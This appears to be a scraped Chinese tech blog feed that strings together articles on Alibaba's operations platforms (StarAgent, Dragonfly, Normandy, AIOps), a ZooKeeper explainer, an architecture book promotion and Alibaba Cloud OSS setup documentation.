混合的模式适合那种初步尝试公有云的企业, 也适合那种在个别时间段(比如大促场景,或者压力测试)下需要额外资源的企业,需要的时候在公有云上“弹”(scale out),用完了再缩回来(scale in)。

阿里巴巴智能化运维体系演进与建设
阿里巴巴监控智能基线视图

发布(Release)和部署(Deploy)其实是两个不太一样的概念, 发布是用户可见的,部署则未必。Normandy当然可以同时满足客户两种不同的选择。默认情况下部署就等同于发布,当然用户可以自己定制部署而不发布应用(这种需求比较小众)。
Normandy支持的发布模式比较多样,发布策略也很多,这跟阿里内部需求的多样性有关。同时也支持容器发布和非容器的发布(我们叫基线模式)。此外,还支持动态配置或者开关类型的发布(需要中间件支持)。在能力上则支持2万台服务器同时发布,日均可以支持50万次发布。
在发布上我们有运维算法平台的支持,可以做到“无人值守”发布, 所谓的“无人值守”发布意味着用户不再需要盯着发布了, 发布系统如果发现系统有故障就会自动停止发布并通知用户, 如果一切正常则自动发布完成,无需人的干预。
运维越来越需要得到算法平台的帮助,将人的经验“沉淀”到系统里,不断的累积和完善数据,并依靠算法的帮助来提高运维系统的自动化程度,让人少犯错,尤其是低级的错误。而发布部署是很多故障造成的根源,这种故障给很多企业造成了巨大损失。如果能在这个地方堵住故障,将极大地提升企业运维稳定性。

监控
StarOps套件还提供了不同维度的监控系统,我们有基础监控(IDC层面)、系统监控和业务监控,可以分别部署。监控系统我们也在做智能化运维探索,比如智能基线,可以让我们彻底结束一个业务监控数十个监控配置的困扰,可以预测下一个时间点的业务走向,监控配置只要根据这个“智能基线”来配置阈值即可。同时我们的监控系统还具备智能故障定位的功能。
历经阿里纷繁复杂的业务和双11的各种考验,监控除了丰富的功能和稳定健壮的内核,还提供了非常炫目的视觉产品,除了传统的PC屏外,我们还有大屏产品可以独立部署。

阿里巴巴智能化运维体系演进与建设
阿里巴巴智能化运维大屏

除了前面提到的基础运维平台、应用运维平台、监控、算法平台外, StarOps套件还包括了诸如掌上运维(支持IOS, Android),ChatOps等功能。            

智能运维 AIOps
简单的讲运维本质是帮助业务持续稳定的运行所要做的所有维护性的工作。 在保持业务稳定性的基础上能降低运维成本,提升运维效率,是运维系统的核心本质。
智能运维(AIOps)是需要融入在平台方方面面的。智能运维是从手工运维到自动化运维一步步走过来的一个自然的结果, 需要场景、数据和算法。
我个人对智能运维的理解是:利用运维算法实现运维的自动化,最终走向无人化运维。所以Gartner对AIOps的解释是Algorithm IT Operations,并不是一开始以为的人工智能(Artificial Intelligence)运维。
我个人认为AIOps可以在两方面来帮助运维:
一、稳定性:运维的本质就是维护系统的稳定性,如何能让系统平稳的运行,变更更加稳定,故障全面治理是首要考量的,所以稳定性方面的智能运维技术演进大致是:
异常检测(Reactive)-> 根因分析(Root Cause Analysis)->根源定位(real time) -> 故障自愈(auto-healing)-> 故障预测(proactive)
无人值守发布中应用的是异常检测的算法,而智能故障定位需要用到的就是后两种技术。
二、效率:在稳定的基础上我们希望能看到极致的运维的效率,极低的运维成本。
智能参数调整系统优化
智能调度、扩容、限流、降级…
智能运维的场景很多,在运维的每层都有用武之地。每个点的微创新的累积最终会给智能运维带来颠覆性的变化。真正实现这种专家经验和”拍脑袋“运维模式转变为基于算法和人工智能的自动化运维,最终走向无人化运维。
“无人化”当然短期内只是一个“自动化程度非常高的”的代名词,在可以看到的未来,“无人化”还是由人来干预或者参与的,尤其是故障处理。
其实自动化被叫做“自働化”更为合理, 人和机器更多是职能上的区别,需要优势互补,人不再做具体的操作了,由机器替代,但人依然是运维的灵魂,是运维的制定者和修改者,机器只是执行者,机器只是帮助人或者提醒人来完成运维操作。

阿里巴巴智能化运维体系演进与建设
阿里巴巴智能化运维能力体系

总结

运维对企业很重要,可以说是核心竞争力,不能让运维拖了业务的后腿。
  • 基础运维平台是运维体系建设的基础设施, 是运维成败的关键。
  • 稳定是运维的本质, 在稳定性的基础上追求极致的运维效率和极低的运维成本。
  • 智能运维不能一蹴而就,必须按部就班,重在场景和数据的建设。


阿里巴巴智能化运维体系演进与建设
云效2.0 智能化运维产品体系
很多公司业务发展的非常好,但就是运维做的不好,导致业务非常不稳定,三天两头出故障,一出故障半天才能恢复,一做发布变更就交易跌0造成资损。如果长期这样,再好的业务也会做黄。这种例子我们看到的比较多。
随着阿里巴巴越来越重视技术,也越来越开放,运维的几个产品会逐步开源,同时也会有商业化的产品孵化,比如最近在做的云效2.0-智能化运维产品StarOps,我们希望阿里在运维领域多年来沉淀的经验、走过的弯路,能给大家带来些启发,也希望StarOps产品能真正为企业的业务保驾护航。

]]>
阿里巴巴运维中台的演进与建设 Mon, 27 May 2019 21:06:17 +0800 阿里巴巴运维中台的演进与建设




作者简介:

中台运维

毛茂德

阿里巴巴 基础架构事业群运维中台负责人

花名如柏,现任阿里巴巴集团基础架构事业群-运维中台负责人, 主导架构设计高可靠、高并发、大规模的基础运维平台和应用运维平台, 致力于打造行业级的基础运维无人值守解决方案以及数据化、智能化运维解决方案,推动 DevOps 生态。

前言

本文来自于 GOPS 2017 深圳站的演讲“阿里巴巴运维中台的演进与建设”。

我所在的部门是阿里基础架构事业群,负责阿里巴巴的 IDC 建设、网络建设、基础数据库的运维,大数据运维,研发协同,应用运维等等都在我们这个部门里面。

我的团队主要负责运维平台和工具的建设,旨在提升业务交付的效率和运维的自动化、智能化。在去年我们团队名字改成了“运维中台”,名字的改变很重要,他让我们的定位更加清晰,做事更聚焦和专注。

运维平台建设已经很多年,产品比较多,下面我将介绍几个比较重要的产品来呈现阿里运维中台建设的过程。

一、运维基础平台——StarAgent

StarAgent 在阿里已经有五六年,甚至更早的时间。阿里所有的物理机、虚拟机以及容器都会装这个 agent,StarAgent 是管理所有 agent 的系统,基本上要和机器交互都需要通过这个平台。

StarAgent 是一个生态平台,实际上不会做具体的业务,具体的业务还是通过各个业务平台去实现的。它们要和服务器进行交互必须通过我们这个平台。

例如,应用运维平台——诺曼底也是通过 StarAgent 在机器上进行部署发布的。我们希望将 StarAgent 建设成一个平台,而不是所有的业务都是我们来做的。

中台运维

平台化的项目是2015年底启动的,在此之前机器上运行的 agent 所有的功能整个打包成一个可执行的程序,这导致了研发迭代速度非常缓慢,问题非常多。

我们曾经有一个功能花了一个多月时间开发了一个功能,开始上线,全网做灰度,将近一个时间等快灰度结束的时候,突然发现某些环境下这个功能有 bug,结果又用了一个月的时间回滚。

这个对我们士气是非常伤的,三个月过去了什么业务结果都没拿到。

平台化的改造中,我们把各个业务的功能都变成一个个插件,可以插到这个平台上来。平台只负责最基本的插件维护的功能,以及命令执行的功能,仅此而已。监控、日志采集等功能都变成插件,而不需要都打包在一起。

目前我们平台上已经有了将近90个插件,比如说监控、日志、安全、调度、采集、P2P 文件分发、配置管理类似 puppet, saltstack 等等插件。

而且平台化之前我们必须全网发布,插件化之后,我们可以选择插件的发布范围,开发迭代的速度也有了大幅度提升。

  • 平台化之前整个 agent 都需要放到装机镜像里,装机镜像测试也需要一个月时间,所以更新镜像也非常繁琐.

  • 平台化之后装机镜像里也只要装基本的 agent core 就可以了,核心插件都可以装机后第一次启动时自动更新即可,这样也不需要频繁的更新装机镜像,core 的功能因为非常纯粹简单,core 稳定之后,更新的频率自然就低到了极致。

中台运维

StarAgent 平台化之后的架构比较简单,整个 agent 最核心的东西就是管理和运行这些插件,基于一个非常简单的交互协议与插件通讯。只要实现这些接口就可以作为一个插件让 agent 帮你去运维。

所以除了之前 StarAgent 的功能插件化外,我们收敛了机器上众多的 agent,在这之前插件都是自己做一个运维系统,要管理自己的状态,要进行版本的更新和迭代。

现在在统一的平台上统一的进行管理、统一做变更的升级。除了节省运维资源外,同时也能收敛重复功能的 agent,从另外一个角度保证了服务器运维的安全。

1.1 StarAgent核心功能

StarAgent 核心功能就是一个命令的通道,它既可以同步执行任务又可以异步执行任务,还可以查询任务状态和插件管理。插件分为两种,一种是静态的,静态的实际上就是脚本、命令之类的。

另一种动态的是一个常驻进程,必须常驻在系统里面。我们会守护这个进程,如果它挂了会重新拉起来,如果其占用内存、CPU 超过设定的范围会删掉它。整个协议是比较简单的,使用起来耦合度也是比较低的。

中台运维

1.2 StarAgent特性

StarAgent 系统从功能上来讲是比较简单的,我们其实是花了大量时间在做一些非功能上的东西。

例如,高可用、高并发、安全,还有自运维能力,即使是百万级服务器的场景下,我们的运维人力投入可能几乎为0,我们追求的就是无人值守的运维。

中台运维

目前这套系统的执行成功率差不多有 99.995% 左右,由于执行量非常大,0.005% 失败率的运维成本还是挺高的。我们花了大量的时间做容灾和自恢复的工作。

前两年支付宝官网瘫痪,经过这个事件我们开始做容灾的演练。把网线拔了,看所有系统的反应,过两个小时再把网线插上去,看这个系统是不是能自动恢复。

中台运维

以前我们都是半夜三点起来去重启服务器,经过自动化的运维,所有的系统断网都可以自动恢复、服务器可以自动进行扩容,保证系统持续的可用性。

1.3 StarAgent 场景

现在的场景会贯穿整个物理机的生命周期,阿里巴巴在物理机装机的过程中就会用到 StarAgent,从生产到下线整个过程都离不开。

应用运维方面,我们在做重启、发布恢复等等,同时还有监控、数据采集及数据库等方面。

StarAgent 是三层的架构,中央的一层,第二层是每个机房都有管控服务器,最下面一层就是每台服务器安装的 agent 及其插件。

agent 会先注册到管控服务器然后上报自己的信息并且每隔一段时间上报自己的心跳。命令是从上往下的,是通过 API 去下发的。

例如,下发一万台服务器执行命令,所有的命令都是同样的中央服务器,所以它是中央式的架构。

中台运维

阿里现在有很多走国际化,在俄罗斯、美国、印尼等地收购很多公司,它们的机房也需要我们做运维。目前我们在做的就是去单中心走向多中心的架构。

比如说,在印度尼西亚的一个机房还需要回到中央服务器来再下发,这个路径会非常曲折,我们需要做个多组型。

在国外的我们会多布一个中心,这样的话在单元内可以自制,不需要跑到杭州或上海来再下发到国外机房。

1.4 StarAgent 指标 目前内部访问量每天在一亿多次,但是阿里的服务器还在不断增长,而且随着阿里云的业务逐步扩大,以及阿里本身业务的不断壮大,我们不得不提前考虑未来三年的发展会不会成为瓶颈。 所以去年我们花了半年的时间在架构上做了比较大的升级,目前集群的 QPS 已经达到55万次/分钟,这个量实际上已经差不多可以支撑未来3年服务器的发展和业务的发展。
以前这些数据都没有,我觉得做运维系统需要把度量这个事情做起来。

中台运维

在架构里面有句话叫没有度量就没有改善,度量是非常重要的。如果产品的核心指标(稳定性、性能、内存占用等)没有定出来,或者无法度量,怎样去架构和优化系统就比较困难,无从下手。

产品的亮点、竞争力、差异性也无从谈起。

实际上系统稳定性以前根本就没有。一个系统指令发过去了就告诉你失败了,不知道什么原因,根本没有错误的分类。然后一堆人开始查问题,查半天发现这台机器磁盘满了。

对于这种方式,我们觉得是不可持续的。我们需要从日志和标准化等方面一定要说清楚系统本身到底有没有问题。

对于第三方依赖,可能是数据库、也可能是一个配置等等,一定要搞清楚第三方依赖的稳定性到底怎么样。对于环境的问题,网络是不是断了,磁盘是不是满了。

这些也都需要在错误码日志里面体现出来,这样才能从各个方面逐步完善系统的指标,否则是没有办法完成的。系统的稳定性非常重要,有了这些数据,系统就可以进行数据化运维。

1.5 StarAgent 插件系统

StarAgent 插件系统,协议很简单。可实现启动、停止,配置如何重新加载等。我们对 CPU 会做一些守护,同时会做一些一键部署的事情。

原来我们升级插件是非常多的,服务器数据很大,再加上插件数量和插件各种版本,这个量是非常巨大的。

以前全网升级插件差不多要六个小时,经过优化之后现在大约10分钟就可以了。

中台运维

二、文件分发系统——蜻蜓

对于全网都需要用到的,这些就不是一个个性化的需求,这些这插件是我们自己来开发。比如蜻蜓(P2P文件分发系统)就是我们自己开发的。

文件分发其实是我们做部署系统的优化时候去做的,当时比较纠结,是自己开发还是用现成的系统。我们对比了业界很多类似的技术。

比如 Facebook 的 wdt (https://github.com/facebook/wdt),Twitter 的 ( https://github.com/lg/murder ),百度的 Ginko 等等,还有包括亚马逊 Apollo 里面的文件分发系统,它们那个和我们的有点不太一样,他们的是基于 S3 做的。

我们发现他们各自或多或少的都有些问题,无法满足我们多种场景下应用需求。这个产品可以不夸张的说已经做到行业第一。

蜻蜓系统是纯碎的 P2P 的文件分发系统。在做 Docker 过程中,如果没有系统解决这些问题,整个 Docker 化的进程就会受到影响。当到了一定量以后根本就支撑不了,所以直接把镜像仓库的协议全部都实现了一遍。

2.1 蜻蜓核心功能

P2P 的文件分发我们做了很多特性,包括多线程下载、一致性校验以及白名单控制等。

有些业务对磁盘是非常敏感的,例如搜索类的业务,所以会要求在写这个智能 IO 的时候会有些控制,我们会把这个参数调出来通过这个参数对磁盘进行管理。

一个 200M 的文件在传输的时候会变得比较小,网络和传输速度都会得到优化。

中台运维

2.2 蜻蜓业务指标

蜻蜓系统目前是一万个客户端同时下载 500M 的文件平均耗时 5s。阿里集团大部分的文件分发都统一用了这套系统。下载次数是 12万/月到 3亿/月。系统稳定性达6个9。也是自运维的系统。

中台运维

使用蜻蜓系统和不用该系统进行对比可知,这个模式下载速度会快很多而且不会随着并发数量上升而严重延时。

中台运维

三、应用运维平台——Normandy

Normandy 是运维整个阿里巴巴业务的 PaaS 平台。这个平台实际上提供三大功能,分别是基础设施即代码(Infrastructure as Code)、部署和应用运维支撑。

我们希望能够通过代码描述文件的形式把一个应用需要用到的所有资源,包括机载资源、服务器、网络还有数据库等都描述出来,这样就可以能够快速构建一个应用。

中台运维

应用已经有了,如何把代码部署到线上,让其能够对外提供服务,这就需要部署发布了。在发布部署方面我们做了无人监守的发布,我们和中间件等部分做了整合,只要代码没有出现线上的故障就可以自动发完。

如果出现故障发布就会停下来,此时需要人介入去判断要不要作维稳。亚马逊的发布系统阿波罗,一年的发布量差不多是五千万,据说现在一天的发布量已经能达到50万。

去年在这方面我们也做了很多工作,至少说这个发布系统不会因为业务发布次数比较大导致发布系统挂掉。

另外,现在整套系统已经将阿里巴巴的测试环境和线上环境全部打通,解决了线上系统和测试不统一的情况。

中台运维

目前业务方有很多的平台使用应用运维平台和运维基础平台 StarAgent。从应用数量上来讲,实际上也是最多的,大概 80% 的应用都基本集中在交易。

阿里云稍微有点特殊,有一半对 ECS 的运维,ECS 也是要做发布与运维,ECS 今年努力的方向要尽量做到不影响用户。

以上的产品都是服务于整个阿里巴巴集团的,这些服务都是最基础的,我们的核心能力基本都是通用的,不带业务的特殊性,特殊性的功能可以在我们的平台化上进行扩展。

这就是中台的原义,中台的好处就是让业务能根据自己的特性在中台上快速的发展,而不需要一杆子桶到最底层,同时中台也没有能力去帮助每个业务去实现所有的特性功能。

这个是整个做事方式的转变,每层都想清楚自己的核心能力,做什么,不做什么同样重要。

在满足了集团业务运维的同时,我们这些产品也真正的在打磨极致产品特性,极致的稳定性、极致的性能、极致的体验。

这样能提升产品的竞争力,拉高进入门槛,光是一堆运维功能堆砌的产品是咩有灵魂的,也非常容易被复制。

我们的产品在今年就会完成单元化,国际化,云化,希望能成为云上有竞争力的运维产品。




]]>
漫画:什么是 ZooKeeper? Mon, 27 May 2019 21:06:17 +0800

漫画:什么是 ZooKeeper?



什么是 ZooKeeper?
什么是 ZooKeeper?

————— 第二天 —————

什么是 ZooKeeper?
什么是 ZooKeeper?
什么是 ZooKeeper?
什么是 ZooKeeper?
什么是 ZooKeeper?
什么是 ZooKeeper?
什么是 ZooKeeper?
什么是 ZooKeeper?
什么是 ZooKeeper?
什么是 ZooKeeper?

————————————

什么是 ZooKeeper?
什么是 ZooKeeper?
什么是 ZooKeeper?
什么是 ZooKeeper?
什么是 ZooKeeper?
什么是 ZooKeeper?
什么是 ZooKeeper?

ZooKeeper 的数据模型

ZooKeeper 的数据模型是什么样子呢?它很像数据结构当中的树,也很像文件系统的目录。

什么是 ZooKeeper?

树是由节点所组成,ZooKeeper 的数据存储也同样是基于节点,这种节点叫做Znode。

但是,不同于树的节点,Znode 的引用方式是路径引用,类似于文件路径:

/ 动物 / 仓鼠

/ 植物 / 荷花

这样的层级结构,让每一个 Znode 节点拥有唯一的路径,就像命名空间一样对不同信息作出清晰的隔离。

什么是 ZooKeeper?
什么是 ZooKeeper?
什么是 ZooKeeper?

data:Znode 存储的数据信息。

ACL:记录 Znode 的访问权限,即哪些人或哪些 IP 可以访问本节点。

stat:包含 Znode 的各种元数据,比如事务 ID、版本号、时间戳、大小等等。

child:当前节点的子节点引用,类似于二叉树的左孩子右孩子。

这里需要注意一点,ZooKeeper 是为读多写少的场景所设计。Znode 并不是用来存储大规模业务数据,而是用于存储少量的状态和配置信息,每个节点的数据最大不能超过 1MB。

什么是 ZooKeeper?
什么是 ZooKeeper?

ZooKeeper 的基本操作和事件通知

ZooKeeper 包含了哪些基本操作呢?这里列举出比较常用的 API:

create:创建节点

delete:删除节点

exists:判断节点是否存在

getData:获得一个节点的数据

setData:设置一个节点的数据

getChildren:获取节点下的所有子节点

这其中,exists、getData、getChildren 属于读操作。ZooKeeper 客户端在请求读操作的时候,可以选择是否设置 Watch。

Watch 是什么意思呢?

我们可以理解成是注册在特定 Znode 上的触发器。当这个 Znode 发生改变,也就是调用了 create、delete、setData 方法的时候,将会触发 Znode 上注册的对应事件,请求 Watch 的客户端会接收到异步通知。

具体交互过程如下:

1. 客户端调用 getData 方法,Watch 参数是 true。服务端接到请求,返回节点数据,并且在对应的哈希表里插入被 Watch 的 Znode 路径,以及 Watcher 列表。

什么是 ZooKeeper?

2. 当被 Watch 的 Znode 已删除,服务端会查找哈希表,找到该 Znode 对应的所有 Watcher,异步通知客户端,并且删除哈希表中对应的 Key-Value。

什么是 ZooKeeper?

ZooKeeper 的一致性

什么是 ZooKeeper?
什么是 ZooKeeper?

ZooKeeper 的集群长成什么样呢?就像下图这样:

ZooKeeper Service 集群是一主多从结构。

更新数据时,首先更新到主节点(这里的节点是指服务器,不是 Znode),再同步到从节点。

在读取数据时,直接读取任意从节点。

为了保证主从节点的数据一致性,ZooKeeper 采用了ZAB 协议,这种协议非常类似于一致性算法 Paxos 和 Raft。

什么是 ZooKeeper?
什么是 ZooKeeper?

在学习 ZAB 之前,我们需要首先了解 ZAB 协议所定义的三种节点状态:

Looking:选举状态。

Following:Follower 节点(从节点)所处的状态。

Leading:Leader 节点(主节点)所处状态。

我们还需要知道最大 ZXID 的概念:

最大 ZXID 也就是节点本地的最新事务编号,包含 epoch 和计数两部分。epoch 是纪元的意思,相当于 Raft 算法选主时候的 term。

假如 ZooKeeper 当前的主节点挂掉了,集群会进行崩溃恢复。ZAB 的崩溃恢复分成三个阶段:

十年 IT 老兵告诉你如何快速构建可直接落地、基于开源的低成本架构!


技术大会上的分享大多高大上,亿级流量、超大型研发团队,虽然值得借鉴,但由于应用场景与研发资源的差异,一般企业并不容易落地。其实,中小型研发团队在IT行业还是占大多数,他们在技术架构方面的问题较多,技术阻碍业务、跟不上业务发展的情况非常常见。

我是一个有十多年经验的 IT 老兵,曾在两家几千人的技术团队做过架构与技术管理工作,也曾在几十人至几百人的中小研发团队做过首席架构师和CTO。一个是定制的劳斯莱斯,一个是大众轿车。在互联网大厂做技术研发,大多只是一个螺丝钉。而在中小研发团队,则比较容易掌控全局。

本书结合笔者近几年的工作经验,摸索出一套可直接落地、基于开源、成本低、可快速搭建的框架及架构方案。小团队也能构建大网站,中小研发团队架构实践更贴近于一般程序员的实际情况,更具应用参考价值。以下是具体介绍,包括开篇、架构篇、框架篇、公共应用篇和进阶篇。

框架篇——工欲善其事,必先利其器

如果说运维是地基,那么框架就是承重墙。农村建住房是一块砖一块砖地往上垒,而城市建大House则是先打地基,再建承重墙,最后才是垒砖,所以中间件的搭建和引进是建设高可用、高性能、易扩展可伸缩的大中型系统的前提。

框架篇中的每章主要由四部分组成:它是什么、工作原理、使用场景和可直接调试的Demo。其中中间件及Demo是历经两家公司四年时间的考验,涉及几百个应用,100多个库1万多张表,日订单从几万张到十几万,年GMV从几十亿到几百亿。所有中间件与工具都是基于开源。

早期我们也有部分自主研发如集中式日志和度量框架,后期在第二家公司时为了快速地搭建、降低成本、易于维护和扩展,全部改为开源。这样不仅利于个人的学习成长、知识重用和职业生涯,也利于团队的组建和人才的引进。

1、集中式缓存Redis

缓存是计算机的难题之一,分布式缓存亦是如此。

Redis看起来非常简单,但它影响着系统的效率、性能、数据一致性。用好它不容易,具体包括:缓存时长(复杂多维度的计算)、缓存失效处理(主动更新)、缓存键(Hash和方便人工干预)、缓存内容及数据结构的选择、缓存雪崩的处理、缓存穿透的处理等。

Redis除了缓存的功能,还有其它功能如Lua计算能力、Limit与Session时间窗口、分布式锁等。

我们使用ServiceStack.Redis做客户端,使用方法详见Demo。

2、消息队列RabbitMQ

消息队列好比葛洲坝,有大量数据的堆积能力,然后再可靠地进行异步输出。它是EDA事件驱动架构的核心,也是CQRS同步数据的关键。

为什么选择RabbitMQ而没有选择Kafka,因为业务系统有对消息的高可靠性要求,以及对复杂功能如消息确认Ack的要求。

3、集中式日志ELK

日志主要分为系统日志和应用日志两类。试想一下,你该如何在一个具有几百台服务器的集群中定位到问题?如何追踪每天产生的几G甚至几T的数据?集中式日志就是此类问题的解决方案。

早期我们使用自主研发的Log4Net+MongoDB来收集和检索日志信息,但随着数据量的增加,查询速度却变得越来越慢。后期改为开源的ELK,虽然易用性有所下降,但它支持海量数据以及与编程语言无关的特征。

下图是ELK的架构图:

如何快速搭建低成本IT架构

4、任务调度Job

任务调度Job如同数据库作业或Windows计划任务,是分布式系统中异步和批处理的关键。

我们的Job分为WinJob和HttpJob:WinJob是操作系统级别的定时任务,使用开源的框架Quartz.NET实现;而HttpJob则是自主研发实现,采用URL方式可定时调用微服务。HttpJob借助集群巧妙地解决了WinJob的单点和发布问题,并集中管理所有的调度规则,调度规则有简单规则和Cron表达式。HttpJob它简单易用,但间隔时间不能低于1分钟,毕竟通过URL方式来调度并不高效。

下图是HttpJob的管理后台:

如何快速搭建低成本IT架构

5、度量工具Metrics

“没有度量就没有提升”,度量是改进优化的基础,是做好一个系统的前置条件。Zabbix一般用于系统级别的监控,Metrics则用于业务应用级别的监控。业务应用是个黑盒子,通过数据埋点来收集应用的实时状态,然后展示在大屏或看板上。它是报警系统和数字化管理的基础,还可以结合集中式日志来快速定位和查找问题。

我们的业务监控系统使用Metrics.NET+InfluxDB+Grafana:

如何快速搭建低成本IT架构

6、微服务MSA

微服务是细粒度业务行为的重用,需要与业务能力及业务阶段相匹配。微服务框架是实现微服务及分布式架构的关键组件,我们的微服务框架是基于开源ServiceStack来实现。它简单易用、性能好,文档自动生成、方便调试测试,调试工具Swagger UI、自动化接口测试工具SoapUI。微服务的接口开放采用我们自主研发的微服务网关,通过治理后台简单的配置即可。网关以NIO、IOCP的方式实现高并发,主要功能有鉴权、超时、限流、熔断、监控等,下图是Swagger UI调试工具。

如何快速搭建低成本IT架构

7、搜索引擎Solr

分库分表后的关联查询,大段文本的模糊查询,这些要如何实现呢?显然传统的数据库没有很好的解决办法,这时可以借助专业的检索工具。

全文检索工具Solr不仅简单易用性能好,而且支持海量数据高并发,只需实现系统两边数据的准实时或定时同步即可。下图是Solr的工作原理:

如何快速搭建低成本IT架构

8、更多工具

分布式协调器ZooKeeper:ZK工作原理、配置中心、Master选举、Demo,一篇足以;

ORM框架:Dapper.NET语法简单、运行速度快,与数据库无关,SQL自主编写可控,是一款适合于互联网系统的数据库访问工具;

对象映射工具EmitMapper和AutoMapper:EmitMapper性能较高,AutoMapper易用性较好;

IoC框架:控制反转IoC轻量级框架Autofac;

DLL包管理:公司内部DLL包管理工具NuGet,可解决DLL集中存储、更新、引用、依赖问题;

发布工具Jenkins:一键编译、发布、自动化测试、一键回滚,高效便捷故障低。

架构篇——思想提升

会使用以上框架并不一定能成为优秀的架构师,但一位优秀架构师一定会使用框架。架构师除了会使用工具外,还需要架构设计思想和性能调优技能。

此篇以真实项目为背景,思想方法追求简单有效,内容包括企业总体架构、单个项目架构设计、统一应用分层、调试工具WinDbg。

1、企业总体架构

当我们有了几百个上千个应用后,不仅仅需要单个项目的架构设计,还需要企业总体架构做顶层思考和指导。

大公司与小商贩的商业思维是一样的,但大公司比较难看到商业全貌和本质。而小公司又缺乏客户流量和中间件的应用场景,中型公司则兼而有之,所以企业总体架构也相对好落地。

企业总体架构需要在技术、业务、管理之间游刃有余地切换,它包括业务架构、应用架构、数据架构和技术架构。附档是一份脱敏感信息后的真实案例,有参考TOGAF标准,但内容以解决公司系统的架构问题为导向、以时间为主线,包括企业商务模型、架构现状、架构规划和架构实施。

2、单个项目架构设计

应用架构设计如同施工图纸,能直接指导工程代码的实施。上一环是功能需求,下一环是代码实施,这是架构设计的价值所在。从功能需求到用例,到用例活动图,到领域图、架构分层,到核心代码,它们之间环环相扣。做不好领域图可能源自没有做好用例活动图,因为用例活动图是领域图的上一环。关注职责、边界、应用关系、存储、部署是架构设计的核心。

下图是具体案例参考:

如何快速搭建低成本IT架构

3、统一应用分层

给应用分层这件事情很简单,但是让一家公司的几百个应用采用统一的分层结构,这可不是件简单的事情。它要做到可大可小、简单易用、支持多种场景,我们使用IPO方式:I表示Input、O表示Output、P表示Process,一进一出一处理。

应用系统的本质就是机器,是处理设备,也是一进一出一处理,IPO方式相对于DDD而言更为简单实用。

如何快速搭建低成本IT架构

4、诊断工具WinDbg

生产环境偶尔会出现一些异常问题,而WinDbg或GDB就是解决此类问题的利器。调试工具WinDbg如同医生的听诊器,是系统生病时做问题诊断的逆向分析工具,Dump文件类似于飞机的黑匣子,记录着生产环境程序运行的状态。

本文主要介绍了调试工具WinDbg和抓包工具ProcDump的使用,并分享一个真实的案例。N年前不知谁写的代码,导致每一两个月偶尔出现CPU飙高的现象。我们先使用ProcDump在生产环境中抓取异常进程的Dump文件,然后在不了解代码的情况下通过WinDbg命令进行分析,最终定位到有问题的那行代码。

如何快速搭建低成本IT架构

公共应用篇——业务与技术的结合

先工具再框架,然后架构设计,最后深入公共应用。公共应用因为与业务系统结合紧密,但又具有一定的独立性,所以一般自主开发,不使用开源也不方便开源。

公共应用主要包括单点登录、企业支付网关、CTI通讯网关(短信邮件微信),下面介绍单点登录和企业支付网关。

1、单点登录

应用拆分后总要合在一起,拆分是应用实施层面的拆分,合成是用户层面的合成,而合成必须解决认证和导航问题。单点登录SSO即只需要登录一次,便可到处访问,它是建立在用户系统、权限系统、认证系统和企业门户的基础上。

我们的凭证数据Token使用JWT标准,以解决不同语言、不同客户端、跨WebAPI的安全问题。

2、企业支付网关

企业支付网关集中和封装了公司的各大支付,例如支付宝、财付通、微信、预付款等。它统一了业务系统调用各支付接口的方式,简化了业务系统与支付系统的交互。它将各种支付接口统一为支付、代扣、分润、退款、退分润、补差、转账、冻结、解冻、预付款等,调用时只需选择支付类型即可。

企业支付网关将各大支付系统进行集中地设计、研发、部署、监控、维护,提供统一的加解密、序列化、日志记录和安全隔离。

进阶篇——从架构到管理

如何快速创建阿里云OSS存储空间





开通阿里云OSS服务后,您需要首先创建存储空间来存储文件。

操作步骤

  1. 登录OSS 管理控制台
  2. 单击左侧存储空间列表中的新增按钮+,或者单击页面右上方的新建 Bucket按钮,打开新建 Bucket对话框。
    阿里云OSS
  3. 命名框中,输入存储空间名称。
    • 存储空间名称必须符合命名规范。
    • 存储空间名称在阿里云OSS的所有现有存储空间名称中必须具有唯一性。
    • 存储空间创建后名称无法修改。
    • 有关存储空间命名的更多信息,请参见基本概念介绍
  4. 所属地域框中,下拉选择该存储空间的数据中心。

    存储空间创建后无法更换所属地域。如需要通过ECS内网访问OSS,需要选择与您ECS相同的地域。更多信息请参见OSS访问域名使用规则

  5. 存储类型框中,下拉选择所需要的存储类型。
    • 标准存储:高可靠、高可用、高性能,数据会经常被访问到。
    • 低频访问:数据长期存储、较少访问,存储单价低于标准类型。
    • 归档存储:适合需要长期保存(建议半年以上)的归档数据,在存储周期内极少被访问,数据进入到可读取状态需要等待1分钟的解冻时间。适合需要长期保存的档案数据、医疗影像、科学资料、影视素材。
  6. 读写权限框中,下拉选择对应的权限。
    • 私有:只有该存储空间的拥有者可以对该存储空间内的文件进行读写操作,其他人无法访问该存储空间内的文件。
    • 公共读:只有该存储空间的拥有者可以对该存储空间内的文件进行写操作,任何人(包括匿名访问者)可以对该存储空间中的文件进行读操作。
    • 公共读写:任何人(包括匿名访问者)都可以对该存储空间中的文件进行读写操作。
    • 注意:对存储空间的所有操作产生的费用由该存储空间的所有者承担,因此请慎用公共读公共读写权限。
  7. 单击确定


]]>
阿里云服务器2折直购,三年最低只要298 Mon, 27 May 2019 21:06:17 +0800 阿里云OSS功能概览 Mon, 27 May 2019 21:06:17 +0800 阿里云OSS功能概览



在使用OSS产品之前,建议您先了解存储空间、对象、地域、访问域名等基本概念,以便更好地理解OSS提供的功能。

关于OSS基本概念的含义,请您参见基本概念介绍

OSS提供以下功能:


应用场景 功能描述 参考
上传文件 上传文件到OSS前,必须先在阿里云的任意一个地域创建一个存储空间。创建存储空间后,您可以上传任意文件到该存储空间。
  • 创建存储空间
  • 新建文件夹
  • 简单上传
搜索文件 您可以在存储空间中搜索文件或文件夹。 搜索文件
查看或下载文件 您可以通过文件 URL 查看或者下载文件。 获取文件访问地址
删除文件或文件夹 您可以删除单个或者多个文件/文件夹,还可以删除分片上传产生的碎片,节省您的存储空间。
  • 删除对象
  • 删除文件夹
  • 管理碎片
控制OSS资源的访问权限 OSS 为权限控制提供访问控制列表(ACL)。ACL是授予存储空间和对象访问权限的访问策略。 您可以在创建存储空间或上传对象时配置ACL,也可以在创建存储空间或上传对象后的任意时间内修改ACL。
  • 设置存储空间读写权限(ACL)
  • 修改文件读写权限
记录OSS资源的访问信息 您可以开启日志功能自动记录对OSS资源的详细访问信息。 设置访问日志记录
防止OSS上的数据被其他人盗链 您可以为您的存储空间设置防盗链,包括 Referer 字段的白名单和是否允许 Referer 字段为空的请求访问。 设置防盗链
使用自定义域名访问OSS资源 您可以将自定义域名绑定到OSS存储空间,然后使用自定义域名访问存储空间中的数据。您还可以启用阿里云CDN服务加速对存储空间中数据的访问。 绑定自定义域名
